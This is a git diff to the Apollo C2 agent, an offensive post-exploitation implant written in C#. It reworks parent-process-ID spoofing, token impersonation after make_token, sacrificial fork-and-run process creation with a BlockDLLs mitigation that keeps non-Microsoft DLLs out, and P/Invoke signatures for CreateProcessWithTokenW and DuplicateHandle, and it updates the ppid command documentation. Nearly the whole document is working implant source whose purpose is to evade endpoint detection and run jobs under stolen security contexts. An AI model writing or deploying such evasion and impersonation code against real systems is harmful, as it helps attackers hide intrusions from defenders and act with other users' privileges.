diff --git a/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs index a788a430..7ec7db47 100644 --- a/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs +++ b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs @@ -44,7 +44,7 @@ public static void Execute(Job job, Agent agent) job.SetComplete($"Set parent process ID of post-ex jobs to {pid}"); } else { - job.SetError($"Failed to set parent process ID to {pid}. Ensure process with ID {pid} is running."); + job.SetError($"Failed to set parent process ID to {pid}. Ensure process with ID {pid} is running and in the same desktop session as Apollo."); } } } diff --git a/Payload_Type/apollo/agent_code/Apollo/CommandModules/Process.cs b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Process.cs index 41cf22f2..26fdbb1f 100644 --- a/Payload_Type/apollo/agent_code/Apollo/CommandModules/Process.cs +++ b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Process.cs @@ -138,7 +138,7 @@ public static void Execute(Job job, Agent implant) { if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0) { - job.SetComplete(String.Format("\nProcess executed '{0}' with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode)); + job.SetComplete(""); } else { job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}"); diff --git a/Payload_Type/apollo/agent_code/Apollo/Credentials/CredentialManager.cs b/Payload_Type/apollo/agent_code/Apollo/Credentials/CredentialManager.cs index 06e8eff2..40d295da 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Credentials/CredentialManager.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Credentials/CredentialManager.cs @@ -23,8 +23,6 @@ #define SPAWN #endif -#define POWERPICK - #if MAKE_TOKEN || PRINTSPOOFER||SPAWN||STEAL_TOKEN || REV2SELF || GETPRIVS || WHOAMI || POWERPICK || MIMIKATZ || EXECUTE_ASSEMBLY @@ -69,7 +67,8 @@ internal static class CredentialManager private static IntPtr phImpersonatedImpersonationToken = IntPtr.Zero; private static IntPtr phImpersonatedPrimaryToken = IntPtr.Zero; - internal static WindowsIdentity CurrentIdentity { get; private set; } = WindowsIdentity.GetCurrent(); + internal static WindowsIdentity OriginalIdentity { get; private set; } = WindowsIdentity.GetCurrent(); + internal static WindowsIdentity CurrentIdentity { get; private set; } = OriginalIdentity; // I think there might be a race condition with pth and this private static IntPtr executingThread = IntPtr.Zero; @@ -125,19 +124,21 @@ internal static bool SetCredential(string username, string password, string doma } else { - phImpersonatedPrimaryToken = hToken; - bRet = DuplicateTokenEx( - phImpersonatedPrimaryToken, - TokenAccessLevels.MaximumAllowed, - IntPtr.Zero, - TokenImpersonationLevel.Impersonation, - TOKEN_TYPE.TokenImpersonation, - out IntPtr dupToken); - if (bRet) - SetImpersonatedImpersonationToken(dupToken); - else + if (SetImpersonatedPrimaryToken(hToken)) { - RevertToSelf(); + bRet = DuplicateTokenEx( + phImpersonatedPrimaryToken, + TokenAccessLevels.MaximumAllowed, + IntPtr.Zero, + TokenImpersonationLevel.Impersonation, + TOKEN_TYPE.TokenImpersonation, + out IntPtr dupToken); + if (bRet) + SetImpersonatedImpersonationToken(dupToken); + else + { + RevertToSelf(); + } } } @@ -324,11 +325,12 @@ internal static void FlushCredentials() phImpersonatedPrimaryToken = IntPtr.Zero; phImpersonatedImpersonationToken = IntPtr.Zero; userCredential = new Credential(); - CurrentIdentity = new WindowsIdentity(originalImpersonationToken); + CurrentIdentity = OriginalIdentity; } internal static bool SetImpersonatedPrimaryToken(IntPtr hToken) { + // add the requisite privs for createprocessasuser call when necessary if (!initialized) return false; bool bRet = true; diff --git a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs index 37dbae26..27335568 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs @@ -90,9 +90,15 @@ internal static bool SetParentProcessId(int processId) bool bRet = false; try { - System.Diagnostics.Process.GetProcessById(processId); - bRet = true; - _parentProcessId = processId; + var curProc = System.Diagnostics.Process.GetCurrentProcess(); + var proc = System.Diagnostics.Process.GetProcessById(processId); + if (proc.SessionId != curProc.SessionId) + bRet = false; + else + { + bRet = true; + _parentProcessId = processId; + } } catch { } return bRet; } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs index 26df9247..912a41ec 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs @@ -216,13 +216,25 @@ internal extern static bool LogonUserA( LOGON_PROVIDER dwLogonProvider, out IntPtr phToken); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithTokenW( + SafeFileHandle hToken, + LogonFlags dwLogonFlags, + string lpApplicationName, + string lpCommandLine, + CreateProcessFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + [In] ref StartupInfo lpStartupInfo, + out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern bool CreateProcessWithTokenW( IntPtr hToken, - IntPtr dwLogonFlags, + LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, - ProcessCreationFlags dwCreationFlags, + CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, @@ -264,34 +276,17 @@ internal static extern bool CreateProcessWithTokenW( [In] ref StartupInfoEx lpStartupInfo, out ProcessInformation lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError = true)] - internal static extern bool CreateProcessAsUserA( - IntPtr hToken, - string lpApplicationName, - StringBuilder lpCommandLine, - SECURITY_ATTRIBUTES lpProcessAttributes, - SECURITY_ATTRIBUTES lpThreadAttributes, - bool bInheritHandles, - ProcessCreationFlags dwCreationFlags, - IntPtr lpEnvironment, - string lpCurrentDirectory, - STARTUPINFO lpStartupInfo, - out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError = true)] - internal static extern bool CreateProcessAsUserA( - IntPtr hToken, + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithTokenW( + SafeFileHandle hToken, + LogonFlags dwLogonFlags, string lpApplicationName, - StringBuilder lpCommandLine, - SECURITY_ATTRIBUTES lpProcessAttributes, - SECURITY_ATTRIBUTES lpThreadAttributes, - bool bInheritHandles, - ProcessCreationFlags dwCreationFlags, + string lpCommandLine, + CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - StartupInfoEx lpStartupInfo, - out PROCESS_INFORMATION lpProcessInformation); + [In] ref StartupInfoEx lpStartupInfo, + out ProcessInformation lpProcessInformation); [DllImport("kernel32.dll")] @@ -497,7 +492,7 @@ DWORD dwThreadId );*/ - [DllImport("kernel32.dll")] + [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, @@ -508,17 +503,28 @@ public static extern bool DuplicateHandle( DuplicateOptions dwOptions ); - [DllImport("kernel32.dll")] + [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, SafeFileHandle hSourceHandle, - IntPtr hTargetProcessHandle, + SafeFileHandle hTargetProcessHandle, ref SafeFileHandle lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, DuplicateOptions dwOptions ); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + SafeFileHandle hSourceHandle, + SafeFileHandle hTargetProcessHandle, + ref SafeFileHandle lpTargetHandle, + System.Enum dwDesiredAccess, + bool bInheritHandle, + DuplicateOptions dwOptions + ); + [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccessRights dwDesiredAccess, bool bInheritHandle, uint dwThreadId); @@ -992,9 +998,12 @@ internal static extern IntPtr SHGetFileInfo( #region USERENV - [DllImport("userenv.dll", SetLastError = true)] + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); + [DllImport("userenv.dll", SetLastError = true)] + public static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); + #endregion } } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs index 8c34c569..8db2e5fc 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs @@ -24,7 +24,7 @@ public struct SECURITY_DESCRIPTOR public IntPtr dacl; } - [StructLayout(LayoutKind.Sequential)] + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct StartupInfo { public Int32 cb; diff --git a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs index 5b6724a5..d8566e33 100644 --- a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs +++ b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs @@ -60,7 +60,8 @@ internal class SacrificialProcess public bool HasExited { get; private set; } public int ExitCode { get; private set; } public uint PID { get; private set; } - public IntPtr Handle { get; private set; } + private SafeFileHandle _hParentProc = null; + public SafeFileHandle Handle { get; private set; } public event EventHandler Exited; public string StdOut { get; private set; } = ""; @@ -85,11 +86,11 @@ private bool Initialize(IntPtr hToken) { bool bRet = false; securityAttributes.bInheritHandle = true; - //bRet = InitializeSecurityDescriptor(out SECURITY_DESCRIPTOR sd, 1); - //bRet = SetSecurityDescriptorDacl(ref sd, true, IntPtr.Zero, false); - //IntPtr pSd = Marshal.AllocHGlobal(Marshal.SizeOf(sd)); - //Marshal.StructureToPtr(sd, pSd, false); - //securityAttributes.lpSecurityDescriptor = pSd; + bRet = InitializeSecurityDescriptor(out SECURITY_DESCRIPTOR sd, 1); + bRet = SetSecurityDescriptorDacl(ref sd, true, IntPtr.Zero, false); + IntPtr pSd = Marshal.AllocHGlobal(Marshal.SizeOf(sd)); + Marshal.StructureToPtr(sd, pSd, false); + securityAttributes.lpSecurityDescriptor = pSd; bRet = CreatePipe(out hReadOut, out hWriteOut, securityAttributes, 0); if (!bRet) throw new Win32Exception(Marshal.GetLastWin32Error()); @@ -119,88 +120,136 @@ private bool Initialize(IntPtr hToken) processFlags |= CreateProcessFlags.CREATE_SUSPENDED; // Create process - startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.cb = Marshal.SizeOf(startupInfoEx); startupInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW; // Wonder if this interferes with stdout? startupInfo.wShowWindow = 0; - var evasionArgs = Evasion.EvasionManager.GetSacrificialProcessStartupInformation(); + // bad things happen if you're medium integrity and do ppid spoofing while under the effects of make_token + if (CredentialManager.OriginalIdentity != CredentialManager.CurrentIdentity) + { + evasionArgs.ParentProcessId = System.Diagnostics.Process.GetCurrentProcess().Id; + } + _hParentProc = new SafeFileHandle(OpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId), false); - IntPtr hParentProc = OpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId); - IntPtr lpVal = Marshal.AllocHGlobal(IntPtr.Size); - IntPtr lpSize = IntPtr.Zero; - - Marshal.WriteIntPtr(lpVal, hParentProc); - int dwAttributeCount = evasionArgs.BlockDlls ? 2 : 1; - var result1 = InitializeProcThreadAttributeList(IntPtr.Zero, dwAttributeCount, 0, ref lpSize); - startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); - if (InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, dwAttributeCount, 0, ref lpSize)) + if (_hParentProc.IsInvalid) { - - // BlockDLLs - if (evasionArgs.BlockDlls) + using (CredentialManager.OriginalIdentity.Impersonate()) + _hParentProc = new SafeFileHandle(OpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId), false); + } + if (!_hParentProc.IsInvalid) + { + IntPtr lpVal = Marshal.AllocHGlobal(IntPtr.Size); + IntPtr lpSize = IntPtr.Zero; + + Marshal.WriteIntPtr(lpVal, _hParentProc.DangerousGetHandle()); + int dwAttributeCount = evasionArgs.BlockDlls ? 2 : 1; + var result1 = InitializeProcThreadAttributeList(IntPtr.Zero, dwAttributeCount, 0, ref lpSize); + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + if (bRet = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, dwAttributeCount, 0, ref lpSize)) { - var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); - - Marshal.WriteInt64( - lpMitigationPolicy, - PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON - ); - - UpdateProcThreadAttribute( - startupInfoEx.lpAttributeList, - 0, - (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, - lpMitigationPolicy, - (IntPtr)IntPtr.Size, - IntPtr.Zero, - IntPtr.Zero - ); - } - if (UpdateProcThreadAttribute( - startupInfoEx.lpAttributeList, - 0, - (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, - lpVal, - (IntPtr)IntPtr.Size, - IntPtr.Zero, - IntPtr.Zero)) - { - processFlags |= CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT; - DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, - hWriteOut, - hParentProc, - ref hDupWriteOut, - 0, - true, - DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); - DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, - hWriteErr, - hParentProc, - ref hDupWriteErr, - 0, - true, - DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); - startupInfo.hStdOutput = hDupWriteOut; - startupInfo.hStdError = hDupWriteErr; - startupInfo.hStdInput = hReadIn; - startupInfoEx.StartupInfo = startupInfo; - } else + // BlockDLLs + if (evasionArgs.BlockDlls) + { + var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); + + Marshal.WriteInt64( + lpMitigationPolicy, + PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON + ); + + bRet = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpMitigationPolicy, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero + ); + } + + if (bRet = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpVal, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero)) + { + try + { + bRet = DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteOut, + _hParentProc, + ref hDupWriteOut, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + bRet = DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteErr, + _hParentProc, + ref hDupWriteErr, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + } catch (Exception ex) + { + try + { + using (CredentialManager.OriginalIdentity.Impersonate()) + { + bRet = DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteOut, + _hParentProc, + ref hDupWriteOut, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + bRet = DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteErr, + _hParentProc, + ref hDupWriteErr, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + } + } catch (Exception ex2) + { + bRet = false; + } + } + if (bRet) + { + startupInfo.hStdOutput = hDupWriteOut; + startupInfo.hStdError = hDupWriteErr; + startupInfo.hStdInput = hReadIn; + startupInfoEx.StartupInfo = startupInfo; + bRet = true; + } + } + else + { + bRet = false; + } + } + else { bRet = false; } + if (!bRet) + { + Marshal.FreeHGlobal(lpVal); + } } else { bRet = false; } - - if (!bRet) - { - Marshal.FreeHGlobal(lpVal); - } + return bRet; } @@ -276,7 +325,7 @@ public bool Start() IntPtr.Zero, IntPtr.Zero, true, - processFlags, + processFlags | CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT, unmanagedEnv, null, ref startupInfoEx, @@ -289,7 +338,7 @@ public bool Start() if (!bRet) throw new Win32Exception(Marshal.GetLastWin32Error()); - Handle = processInfo.hProcess; + Handle = new SafeFileHandle(processInfo.hProcess, true); PID = (uint)processInfo.dwProcessId; StandardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); @@ -372,7 +421,7 @@ public bool Start(SafeFileHandle hToken) IntPtr.Zero, IntPtr.Zero, true, - processFlags, + processFlags | CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT, unmanagedEnv, null, ref startupInfoEx, @@ -381,9 +430,8 @@ out processInfo dwError = Marshal.GetLastWin32Error(); if (!success && dwError == Win32Error.ERROR_PRIVILEGE_NOT_HELD) { - success = CreateProcessWithTokenW( - hToken.DangerousGetHandle(), + hToken, LogonFlags.LOGON_NETCREDENTIALS_ONLY, null, command, @@ -419,7 +467,7 @@ out processInfo if (!success) throw new Win32Exception(dwError); - Handle = processInfo.hProcess; + Handle = new SafeFileHandle(processInfo.hProcess, true); PID = (uint)processInfo.dwProcessId; StandardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); @@ -569,6 +617,7 @@ private void WaitForExitAsync() DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList); Marshal.FreeHGlobal(startupInfoEx.lpAttributeList); } + DestroyEnvironmentBlock(unmanagedEnv); }); thr.Start(); } diff --git a/documentation-payload/apollo/commands/ppid.md b/documentation-payload/apollo/commands/ppid.md index baa8311e..e6928197 100644 --- a/documentation-payload/apollo/commands/ppid.md +++ b/documentation-payload/apollo/commands/ppid.md @@ -14,4 +14,6 @@ ppid [pid] ``` ## Detailed Summary -The `ppid` command will set the parent process to the specified process identifier for all post-exploitation jobs. This is one of two attributes you can set for fork-and-run jobs, which all start up using the StartupInfoEx structure. \ No newline at end of file +The `ppid` command will set the parent process to the specified process identifier for all post-exploitation jobs. This is one of two attributes you can set for fork-and-run jobs, which all start up using the StartupInfoEx structure. + +If the process ID specified is not the same as Apollo's session, this function call will fail. Moreover, there are some SEH exceptions I can't track down and they all stem from using impersonated tokens and attempting to spoof logons. Due to that fact, if you are using an impersonated security context in any capacity, Apollo will default back to the current executing process for its parent. I have attempted to put as many guard rails as possible on this, but I'm certain I've missed some edge cases. Careful! \ No newline at end of file